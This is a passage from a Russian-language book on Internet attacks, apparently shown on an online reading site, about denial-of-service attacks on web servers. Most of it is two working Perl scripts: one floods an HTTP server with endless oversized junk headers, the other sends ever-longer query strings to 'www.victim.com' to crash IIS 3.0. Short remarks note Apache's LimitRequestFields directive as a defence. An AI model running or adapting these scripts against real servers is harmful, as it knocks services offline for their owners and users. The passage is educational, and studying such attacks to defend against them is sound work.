Читаем Атака на Internet полностью

#!/usr/bin/perl -w

use Socket;

# Usage : $0 host [port [max] ]

$max= 0;

if ($ARGV[2])

{

$max= $ARGV[2];

}

$proto = getprotobyname(’tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

if ($ARGV[1])

{

$port= $ARGV[1];

}

$host = $ARGV[0];

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);

send Socket_Handle,"GET / HTTP/1.0\n",0;

$val= (’z’x8192)."\n";

$n= 1;

$|= 1;

while (Socket_Handle)

{

send Socket_Handle,"Stupidheader$n: ",0;

send Socket_Handle,$val,0;

$n++;

if (!($n % 100))

{

print "$n\n";

}

if ($max && ($n > $max))

{

last;

}

}

print "Done: $n\n";

send Socket_Handle,"\n",0;

while ()

{

print $_;

}

В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.

IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX…

Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8 Кб), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса WWW. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path – до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:

#!/usr/bin/perl -w

use Socket;

$proto = getprotobyname(’tcp’);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

for ($i = 8000; $i<9000; $i++)

{

print "\nTrying $i symbols: \n";

$value = ’z’x$i;

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

if(!connect(Socket_Handle,$sin))

{

$n = $i+4;

print "\n\nLooks like we got it: $n symbols";

exit;

}

send Socket_Handle,"GET /path?name=$value HTTP/1.0\n",0;

send Socket_Handle,"User-Agent: my agent\n",0;

send Socket_Handle,"\n",0;

while ()

{

print $_;

}

}

Перейти на страницу:

Похожие книги